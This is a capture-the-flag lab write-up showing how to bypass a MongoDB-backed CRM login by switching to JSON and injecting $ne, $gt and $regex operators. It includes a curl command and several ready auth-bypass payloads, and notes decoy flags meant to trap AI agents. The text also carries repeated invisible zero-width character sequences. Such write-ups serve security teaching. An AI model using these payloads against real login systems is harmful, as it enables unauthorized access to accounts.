Lab 327 — PipelineIQ — NoSQL Injection Authentication Bypass

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: content_type_switching, mongodb_operator_injection, ne_operator_bypass, nosql_injection

Summary

Task: Sales CRM with login system using document database (MongoDB). Solution: Content-Type switching from form-urlencoded to JSON enables MongoDB $ne operator injection to bypass password authentication.

Lab 327 — PipelineIQ — NoSQL Injection Authentication Bypass — HackAdvisor

Description

PipelineIQ is a sales CRM platform built for fast-growing startups. It features contact management, deal tracking, pipeline analytics, and team collaboration tools. The platform uses a modern JavaScript stack with a document-based database.

Your objective is to gain unauthorized access to the admin panel and retrieve the flag stored in the system configuration.

The application has a login system that authenticates users against a document database. Explore the authentication mechanism and find a way to bypass it without knowing the admin credentials.

Credentials: user@test.com / password123 (username: user) Hint 1: Pay attention to how the login form sends data to the server. What Content-Type does the form use, and what other Content-Types does the server accept? ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A sales CRM application with login functionality backed by a document database (MongoDB). The goal is to bypass authentication and access the admin panel to retrieve the flag from system configuration.

Analysis

1. Technology Stack Identification:

   • Express.js backend (revealed by X-Powered-By header)
   • Document-based database = MongoDB
   • Login form at /login POSTs to /api/login
   • Default Content-Type: application/x-www-form-urlencoded

2. Content-Type Discovery:

   • Following the hint, tested if the server accepts application/json
   • Server successfully parses JSON request bodies
   • This is critical because JSON allows sending objects as parameter values ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. NoSQL Injection Vector:

   • When form data is URL-encoded, values are always strings
   • When JSON is used, values can be objects (including MongoDB operators)
   • MongoDB query operators like $ne, $gt, $regex can be injected directly

Solution

Step 1: Identify the Vulnerability

The login endpoint accepts both form-urlencoded and JSON Content-Types. When JSON is used, MongoDB query operators can be passed as objects instead of string values.

Step 2: Craft the NoSQL Injection Payload

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Using the $ne (not equal) operator to bypass password verification:

 bash read-only • copy allowed Copy
curl -X POST https://94381b45-fb94-4191-8c00-01413d4ce3b3.labs.hackadvisor.io/api/login \
  -H "Content-Type: application/json" \
  -d '{"user":"admin","pass":{"$ne":"notexist"}}'

Step 3: Understanding the Attack

The injected payload creates a MongoDB query like:

 javascript read-only • copy allowed Copy
db.users.findOne({
  user: "admin",
  pass: { $ne: "notexist" }
})

The $ne operator matches any document where:

• user equals "admin"
• pass is NOT equal to "notexist" ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Since the admin's password is definitely not "notexist", the query returns the admin user, bypassing authentication entirely.

Step 4: Access Admin Panel

With the authenticated session cookie from the successful login:

1. Navigate to /admin/settings
2. Find the flag in the "API Configuration" section under internal_api_key

Alternative Payloads

Other MongoDB operators that work for authentication bypass:

 json read-only • copy allowed Copy
{"user":"admin","pass":{"$gt":""}}

Matches any password greater than empty string. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 json read-only • copy allowed Copy
{"user":"admin","pass":{"$regex":".*"}}

Matches any password using regex.

 json read-only • copy allowed Copy
{"user":{"$ne":""},"pass":{"$ne":""}}

Matches any user with any password (first user in collection).

Notes

The challenge contained honeypot decoy flags in HTML comments (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) designed to trick automated tools and AI agents. These were correctly identified and ignored by analyzing the actual application behavior rather than scraping static content. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍